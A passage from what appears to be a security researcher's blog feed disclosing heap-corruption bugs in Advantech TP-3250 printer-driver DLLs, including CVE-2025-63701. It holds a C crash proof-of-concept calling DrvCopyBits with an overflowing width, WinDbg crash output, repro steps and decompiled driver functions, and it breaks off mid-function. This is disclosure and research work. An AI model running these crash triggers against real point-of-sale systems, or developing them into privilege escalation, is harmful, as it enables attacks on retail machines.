#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="nf">ULONG</span> <span class="p">(</span><span class="kr">__stdcall</span> <span class="o">*</span><span class="n">PFN_DrvCopyBits_t</span><span class="p">)(</span>
    <span class="n">PVOID</span> <span class="n">psoTrg</span><span class="p">,</span>
    <span class="n">PVOID</span> <span class="n">psoSrc</span><span class="p">,</span>
    <span class="n">PVOID</span> <span class="n">pco</span><span class="p">,</span>
    <span class="n">PVOID</span> <span class="n">pxlo</span><span class="p">,</span>
    <span class="n">PRECTL</span> <span class="n">prclTrg</span><span class="p">,</span>
    <span class="n">PPOINTL</span> <span class="n">pptlSrc</span>
<span class="p">);</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">dll_path</span> <span class="o">=</span> <span class="s">"DrvRender_x64_ADVANTECH.dll"</span><span class="p">;</span>
    <span class="n">DWORD</span> <span class="n">rva</span> <span class="o">=</span> <span class="mh">0x15554</span><span class="p">;</span> <span class="c1">// func offset within dll got this from the drvfn table.</span>

    <span class="c1">// Load the DLL</span>
    <span class="n">HMODULE</span> <span class="n">base</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="n">dll_path</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">base</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Oh NO! LoadLibraryA failed (%lu)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Calculate function address</span>
    <span class="n">PFN_DrvCopyBits_t</span> <span class="n">PFN_DrvCopyBits</span> <span class="o">=</span> <span class="p">(</span><span class="n">PFN_DrvCopyBits_t</span><span class="p">)((</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">base</span> <span class="o">+</span> <span class="n">rva</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"dll loaded at %p, 'PFN_DrvCopyBits' at %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">base</span><span class="p">,</span> <span class="n">PFN_DrvCopyBits</span><span class="p">);</span>

    <span class="c1">// structures needed</span>
    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">ctx</span>    <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">inner</span>  <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">,</span>  <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">surf1</span>  <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span>  <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">surf2</span>  <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span>  <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

    <span class="c1">// Larger pixel buffer to potentially avoid AV detection</span>
    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pixels</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

    <span class="c1">// Check allocations</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ctx</span> <span class="o">||</span> <span class="o">!</span><span class="n">inner</span> <span class="o">||</span> <span class="o">!</span><span class="n">surf1</span> <span class="o">||</span> <span class="o">!</span><span class="n">surf2</span> <span class="o">||</span> <span class="o">!</span><span class="n">pixels</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"NO!!!! Memory allocation failed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">cleanup</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Initialize with patterns for debugging</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span>    <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">inner</span><span class="p">,</span>  <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">surf1</span><span class="p">,</span>  <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">surf2</span><span class="p">,</span>  <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">pixels</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">);</span>

    <span class="c1">// initialise context structure fields</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">ctx</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">inner</span><span class="p">;</span>

    <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">inner</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">ctx</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">ctx</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">ctx</span> <span class="o">+</span> <span class="mh">0x438</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">surf2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>

    <span class="c1">// Set up surface structure to trigger overflow condition</span>
    <span class="kt">uint32_t</span> <span class="n">width</span>  <span class="o">=</span> <span class="mh">0x40000000</span><span class="p">;</span>  <span class="c1">// Large width for overflow</span>
    <span class="kt">uint32_t</span> <span class="n">height</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>

    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">surf1</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">=</span> <span class="n">width</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">surf1</span> <span class="o">+</span> <span class="mh">0x24</span><span class="p">)</span> <span class="o">=</span> <span class="n">height</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">surf1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xFFFFFFFF</span><span class="p">;</span> <span class="c1">// Large count value</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">surf1</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">pixels</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">surf1</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="n">RECTL</span> <span class="n">dst_rect</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">64</span><span class="p">};</span>
    <span class="n">POINTL</span> <span class="n">src_point</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">};</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Triggering pixel transform with width=0x%x height=0x%x (may overflow)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">width</span><span class="p">,</span> <span class="n">height</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[*] Calling PFN_DrvCopyBits...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">ULONG</span> <span class="n">result</span> <span class="o">=</span> <span class="n">PFN_DrvCopyBits</span><span class="p">(</span>
        <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">ctx</span><span class="p">,</span>       <span class="c1">// psoTrg (destination surface)</span>
        <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">surf1</span><span class="p">,</span>     <span class="c1">// psoSrc (source surface)</span>
        <span class="nb">NULL</span><span class="p">,</span>             <span class="c1">// pco null for no clipping..</span>
        <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">surf2</span><span class="p">,</span>     <span class="c1">// pxlo (color translation - must be non-NULL)</span>
        <span class="o">&amp;</span><span class="n">dst_rect</span><span class="p">,</span>        <span class="c1">// prclTrg (destination rectangle)</span>
        <span class="o">&amp;</span><span class="n">src_point</span>        <span class="c1">// pptlSrc</span>
    <span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] PFN_DrvCopyBits returned: 0x%lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>

<span class="nl">cleanup:</span>
    <span class="c1">// release all the allocations</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ctx</span><span class="p">)</span>    <span class="n">VirtualFree</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span>    <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">inner</span><span class="p">)</span>  <span class="n">VirtualFree</span><span class="p">(</span><span class="n">inner</span><span class="p">,</span>  <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">surf1</span><span class="p">)</span>  <span class="n">VirtualFree</span><span class="p">(</span><span class="n">surf1</span><span class="p">,</span>  <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">surf2</span><span class="p">)</span>  <span class="n">VirtualFree</span><span class="p">(</span><span class="n">surf2</span><span class="p">,</span>  <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pixels</span><span class="p">)</span> <span class="n">VirtualFree</span><span class="p">(</span><span class="n">pixels</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">base</span><span class="p">)</span> <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">base</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="b---windbg-output">B - WinDbg output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000&gt; !analyze -v
..................
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


KEY_VALUES_STRING: 1

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 718

    Key  : Analysis.Elapsed.mSec
    Value: 14452

    Key  : Analysis.IO.Other.Mb
    Value: 0

    Key  : Analysis.IO.Read.Mb
    Value: 1

    Key  : Analysis.IO.Write.Mb
    Value: 4

    Key  : Analysis.Init.CPU.mSec
    Value: 796

    Key  : Analysis.Init.Elapsed.mSec
    Value: 19788

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 86

    Key  : Analysis.Version.DbgEng
    Value: 10.0.27871.1001

    Key  : Analysis.Version.Description
    Value: 10.2505.01.02 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2505.1.2

    Key  : Failure.Bucket
    Value: INVALID_POINTER_WRITE_AVRF_c0000005_DrvRender_x64_ADVANTECH.dll!Unknown

    Key  : Failure.Exception.Code
    Value: 0xc0000005

    Key  : Failure.Exception.IP.Address
    Value: 0x7ffd5c547a00

    Key  : Failure.Exception.IP.Module
    Value: DrvRender_x64_ADVANTECH

    Key  : Failure.Exception.IP.Offset
    Value: 0x17a00

    Key  : Failure.Hash
    Value: {28021f10-bbf5-db82-dbf6-c0ff68f801c3}

    Key  : Failure.ProblemClass.Primary
    Value: INVALID_POINTER_WRITE

    Key  : Timeline.OS.Boot.DeltaSec
    Value: 37991

    Key  : Timeline.Process.Start.DeltaSec
    Value: 2

    Key  : WER.OS.Branch
    Value: vb_release

    Key  : WER.OS.Version
    Value: 10.0.19041.1


FILE_IN_CAB:  ex.exe.2676.dmp

NTGLOBALFLAG:  2200000

APPLICATION_VERIFIER_FLAGS:  0

APPLICATION_VERIFIER_LOADED: 1

CONTEXT:  (.ecxr)
rax=0000000000000000 rbx=000001c5b6964ff0 rcx=0000000000000010
rdx=0000000000000000 rsi=0000000040000000 rdi=0000000000000011
rip=00007ffd5c547a00 rsp=0000006174dff620 rbp=0000000000000045
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000002
r11=000000001fffffff r12=000000003fffffff r13=00000000ffffffff
r14=000001c5b5620000 r15=0000000000000001
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
DrvRender_x64_ADVANTECH!DrvEnableDriver+0x6bbc:
00007ffd`5c547a00 880419          mov     byte ptr [rcx+rbx],al ds:000001c5`b6965000=??
Resetting default scope

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd5c547a00 (DrvRender_x64_ADVANTECH!DrvEnableDriver+0x0000000000006bbc)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 000001c5b6965000
Attempt to write to address 000001c5b6965000

PROCESS_NAME:  ex.exe

WRITE_ADDRESS:  000001c5b6965000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  000001c5b6965000

STACK_TEXT:
00000061`74dff620 00007ffd`5c545651     : 00000000`00000000 00000061`74dffcc0 000001c5`b55e0000 00007ffd`71a8cd51 : DrvRender_x64_ADVANTECH!DrvEnableDriver+0x6bbc
00000061`74dff7c0 00007ff6`73dd1863     : 00007ff6`40000000 00000000`00000008 00000000`00000008 00000061`74dfdf70 : DrvRender_x64_ADVANTECH!DrvEnableDriver+0x480d
00000061`74dffc80 00007ff6`73dd1307     : 00000000`00000000 00000000`00000014 00007ff6`73ddc048 00000000`00000000 : ex+0x1863
00000061`74dffd50 00007ff6`73dd142a     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ex!__tmainCRTStartup+0x177
00000061`74dffdb0 00007ffd`71267374     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ex!mainCRTStartup+0x1a
00000061`74dffde0 00007ffd`71a7cc91     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
00000061`74dffe10 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_NAME:  DrvRender_x64_ADVANTECH+6bbc

MODULE_NAME: DrvRender_x64_ADVANTECH

IMAGE_NAME:  DrvRender_x64_ADVANTECH.dll

BUCKET_ID_MODPRIVATE: 1

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_DrvRender_x64_ADVANTECH.dll!Unknown

OS_VERSION:  10.0.19041.1

BUILDLAB_STR:  vb_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

IMAGE_VERSION:  0.3.9600.17336

FAILURE_ID_HASH:  {28021f10-bbf5-db82-dbf6-c0ff68f801c3}

Followup:     MachineOwner
---------
</code></pre></div></div>

<h2 id="relevant-resources">Relevant Resources:</h2>

<ul>
  <li><a href="https://www.advantech.com/emt/support/details/driver?id=1-2LFJBRQ">Advantech URP-PT802/PT803 Driver Download</a> Official driver package containing the vulnerable DLL</li>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/api/winddi/ns-winddi-drvenabledata">Microsoft DRVFN Documentation</a> Official documentation on the DRVENABLEDATA structure and DRVFN table</li>
  <li><a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190: Integer Overflow or Wraparound</a> The vulnerability class this bug belongs to I think</li>
  <li><a href="https://ghidra-sre.org/">Ghidra</a> The reverse engineering tool I used for analysis</li>
  <li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/">WinDbg Documentation</a> Windows debugger used for crash analysis</li>
  <li><a href="https://www.ncsc.govt.nz/report/how-to-report-a-vulnerability/coordinated-vulnerability-disclosure-policy/">NCSC Vulnerability Disclosure Policy</a> Coordinated disclosure process followed</li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[Heap corruption in the Advantech TP-3250 printer driver due to 32-bit size arithmetic and unvalidated geometry in a CopyBits-style routine; reliable crash and likely local Privilege Escalation.]]></summary></entry><entry><title type="html">Heap Corruption in Advantech TP 3250 Printer Driver (DrvUI_x64_ADVANTECH.dll) via DocumentPropertiesW</title><link href="https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/" rel="alternate" type="text/html" title="Heap Corruption in Advantech TP 3250 Printer Driver (DrvUI_x64_ADVANTECH.dll) via DocumentPropertiesW" /><published>2025-10-08T00:00:00+13:00</published><updated>2025-10-08T00:00:00+13:00</updated><id>https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver</id><content type="html" xml:base="https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li><strong>CVE ID</strong>: CVE-2025-63701</li>
  <li>There is a bug in the DrvUI_x64_ADVANTECH.dll when DocumentPropertiesW() is
called with a valid dmDriverExtra but an undersized output buffer.</li>
  <li>I was only able to cause a crash, but I think you could move it to a
code execution, but that would only be in the user space and not kernel.</li>
  <li>Minimal crash PoC can be found in the appendix.</li>
  <li>Affected dll: DrvUI_x64_ADVANTECH.dll (v0.3.9200.20789).</li>
  <li>Driver can be found here: <a href="https://www.advantech.com/emt/support/details/driver?id=1-2LFJBRQ">Advantech URP-PT802/PT803 Driver Download</a> this uses the same TP 3250 driver under the hood.</li>
</ul>

<h2 id="background">Background:</h2>

<p>Recently while doing some reading on security news, I had reaslised that I had
never really done any research into any windows drivers. I also noticed that
almost every shop that I go into has a receipt printer! So I thought this would
be an amazing target, as I had also noticed that 99% of the POS terminals I
have seen also run windows (an outdated one at that).  Choosing Advantech was
just the first brand of printer I saw at my local takeaway. This was also my
first forray into learning ghidra in any real detail, and it was a lot of fun!</p>

<h2 id="test-env">Test env:</h2>

<ul>
  <li>Virtual box running Microsoft Windows 10 build 19041 x64</li>
  <li>Clean VM with only Windgb, Vbox additions, and the driver installed.</li>
  <li>A remote path to my host machine to move exes and other files around.</li>
</ul>

<h2 id="repro">Repro:</h2>

<p>1: Compile the <code class="language-plaintext highlighter-rouge">crash_min.c</code> file in the appendix eg: <code class="language-plaintext highlighter-rouge">x86_64-w64-mingw32-gcc
   crash_min.c -o crash_min.exe -lwinspool</code></p>

<p>2: Enable crash dumps on the Windows system. Run the following commands in Admin Powershell:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" -Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
  -Name "DumpFolder" -Value "C:\Dumps" -PropertyType ExpandString -Force | Out-Null
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
  -Name "DumpType"  -Value 2 -PropertyType DWord -Force | Out-Null   # 2 = Full dump
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" `
  -Name "DumpCount" -Value 10 -PropertyType DWord -Force | Out-Null

</code></pre></div></div>
<p>3: Install the driver from the above link (in TLDR)</p>

<p>4: Run the compiled code, and view the <code class="language-plaintext highlighter-rouge">crash_min.exe.2896</code> file in the <code class="language-plaintext highlighter-rouge">C:\Dumps\</code> dir
This should match the crash output in the appendix :)</p>

<h3 id="the-bug">The Bug</h3>

<p>The bug lies in the drivers assumption that the output buffer that has been
given to it is as big as the buffer given as the input. However since both of
these are user controlled you can make that not so. With an undersized output
buffer you can force the down stream logic to perform an invalid free on the
heap memory that it thinks it owns.</p>

<h4 id="what-this-looks-like-it-ghidra">What this looks like it Ghidra</h4>

<p>First things first, since I was looking at memory level issues, I did the basic search for <code class="language-plaintext highlighter-rouge">malloc</code>, <code class="language-plaintext highlighter-rouge">memcpy</code>, <code class="language-plaintext highlighter-rouge">new</code> and <code class="language-plaintext highlighter-rouge">free</code>.</p>

<p><code class="language-plaintext highlighter-rouge">memcpy</code> seemed to show the most interesting things, these are the functions that looked interesting to me, and are the root of this bug:</p>

<p>But first here is a simplified call graph:
<code class="language-plaintext highlighter-rouge">DocumentPropertiesW → DrvDocumentPropertySheets → FUN_180027d30 → FUN_180027c0c → memcpy(…) → heap corruption</code></p>

<p>For reference here are the offsets that are used in the functions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DrvDocumentPropertySheets(param_1, param_2) →
param_2+0x18 = pdmIn,
param_2+0x20 = pdmOut,
param_2+0x2C = fMode,
param_2+0x28 = cbNeeded.
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FUN_180027d30(pIn, pIn2, pOut)
</code></pre></div></div>
<p>If <code class="language-plaintext highlighter-rouge">pIn2 == NULL: memcpy(pOut, pIn, pIn-&gt;dmSize + pIn-&gt;dmDriverExtra)</code> - This will might be another bug…</p>

<p>If <code class="language-plaintext highlighter-rouge">pIn2 != NULL</code> (PoC path):</p>

<p>Sets <code class="language-plaintext highlighter-rouge">pOut-&gt;dmSize = min(pIn-&gt;dmSize, pIn2-&gt;dmSize)</code></p>

<p>Sets <code class="language-plaintext highlighter-rouge">pOut-&gt;dmDriverExtra = min(pIn-&gt;dmDriverExtra, pIn2-&gt;dmDriverExtra)</code></p>

<p>Calls <code class="language-plaintext highlighter-rouge">FUN_180027c0c(pIn, pOut)</code> to perform the actual header+tail copies.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FUN_180027c0c(pIn, pOut)
</code></pre></div></div>
<p>Copies Header bytes: <code class="language-plaintext highlighter-rouge">hdr = min(pIn-&gt;dmSize, pOut-&gt;dmSize)</code>
<code class="language-plaintext highlighter-rouge">memcpy(pOut, pIn, hdr)</code></p>

<p>Copies tail or extra bytes: <code class="language-plaintext highlighter-rouge">tail = min(pIn-&gt;dmDriverExtra, pOut-&gt;dmDriverExtra)</code>
<code class="language-plaintext highlighter-rouge">memcpy((BYTE*)pOut + pOut-&gt;dmSize, (BYTE*)pIn + pIn-&gt;dmSize, tail)</code></p>

<p>By design this should write a total of <code class="language-plaintext highlighter-rouge">hdr + tail bytes</code> However if <code class="language-plaintext highlighter-rouge">pOut</code> is less that <code class="language-plaintext highlighter-rouge">written</code> we will get our bug.</p>

<h4 id="full-functions">Full functions</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">DrvDocumentPropertySheets</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="n">longlong</span> <span class="n">param_2</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="n">longlong</span> <span class="n">lVar2</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar3</span><span class="p">;</span>
  <span class="n">HANDLE</span> <span class="o">*</span><span class="n">ppvVar4</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar5</span><span class="p">;</span>
  <span class="n">iVar5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
                    <span class="cm">/* 0x12a50  261  DrvDocumentPropertySheets */</span>
  <span class="n">iVar3</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">uVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x2c</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">((</span><span class="n">uVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">iVar3</span> <span class="o">=</span> <span class="mh">0x1250</span><span class="p">;</span>
        <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x1250</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">else</span> <span class="k">if</span> <span class="p">(((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="p">((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">iVar3</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">else</span> <span class="p">{</span>
